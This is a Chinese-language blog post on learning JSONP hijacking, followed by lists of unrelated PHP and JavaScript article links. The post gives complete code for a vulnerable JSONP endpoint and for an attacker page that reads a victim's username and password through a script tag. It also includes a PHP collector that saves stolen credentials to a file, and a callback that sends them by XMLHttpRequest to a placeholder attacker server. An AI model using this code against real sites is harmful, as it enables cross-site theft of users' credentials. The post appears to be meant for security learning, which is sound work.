Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
PHP 一个页面执行时间类代码
Mar 05 PHP
PHP 获取客户端真实IP地址多种方法小结
May 15 PHP
php中计算未知长度的字符串哪个字符出现的次数最多的代码
Aug 14 PHP
解析coreseek for sphinx的使用
Jun 21 PHP
PHP采用curl模仿用户登陆新浪微博发微博的方法
Nov 07 PHP
摘自织梦CMS的HTTP文件下载类
Aug 08 PHP
使用Composer安装Yii框架的方法
Mar 15 PHP
PHP文件操作实例总结
Sep 27 PHP
PHP会话控制实例分析
Dec 24 PHP
PHP实现数组向任意位置插入,删除,替换数据操作示例
Apr 05 PHP
PHP中mysqli_get_server_version()的实例用法
Feb 03 PHP
浅谈PHP中的那些魔术常量
Dec 02 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
php查找字符串出现次数的方法
2014/12/01 PHP
php简单实现MVC
2015/02/05 PHP
基于JQuery的动态删除Table表格的行和列的代码
2011/05/12 Javascript
dotopAlert 提示用户需安装播放器的代码
2012/09/17 Javascript
对js关键字命名的疑问介绍
2014/04/25 Javascript
一个可以增加和删除行的table并可编辑表格中内容
2014/06/16 Javascript
jQuery获取浏览器类型和版本号的方法
2016/07/05 Javascript
React学习笔记之事件处理(二)
2017/07/02 Javascript
微信页面弹出键盘后iframe内容变空白的解决方案
2017/09/20 Javascript
微信小程序使用video组件播放视频功能示例【附源码下载】
2017/12/08 Javascript
JavaScript实现AOP详解(面向切面编程,装饰者模式)
2017/12/19 Javascript
详解如何模拟实现node中的Events模块(通俗易懂版)
2019/04/15 Javascript
jquery3和layui冲突导致使用layui.layer.full弹出全屏iframe窗口时高度152px问题
2019/05/12 jQuery
微信小程序中如何使用flyio封装网络请求
2019/07/03 Javascript
Smartour 让网页导览变得更简单(推荐)
2019/07/19 Javascript
浅析Angular 实现一个repeat指令的方法
2019/07/21 Javascript
Openlayers绘制聚合标注
2020/09/28 Javascript
python获取文件扩展名的方法
2015/07/06 Python
python中如何使用正则表达式的非贪婪模式示例
2017/10/09 Python
PyTorch的深度学习入门教程之构建神经网络
2019/06/27 Python
python绘制雪景图
2019/12/16 Python
使用pytorch搭建AlexNet操作(微调预训练模型及手动搭建)
2020/01/18 Python
Scrapy中如何向Spider传入参数的方法实现
2020/09/28 Python
小米旗下精品生活电商平台:小米有品
2018/12/18 全球购物
试解释COMMIT操作和ROLLBACK操作的语义
2014/07/25 面试题
计算机学生的自我评价分享
2014/02/18 职场文书
社区健康教育实施方案
2014/03/18 职场文书
岗位聘任书范文
2014/03/29 职场文书
建筑院校毕业生求职信
2014/06/13 职场文书
假期安全教育广播稿
2014/10/04 职场文书
业务员岗位职责
2015/02/03 职场文书
小浪底导游词
2015/02/12 职场文书
2015年安全工作总结范文
2015/04/02 职场文书
2016年党员读书月活动总结
2016/04/06 职场文书
元素水平垂直居中的方式
2021/03/31 HTML / CSS
详解Flutter网络请求Dio库的使用及封装
2022/04/14 Java/Android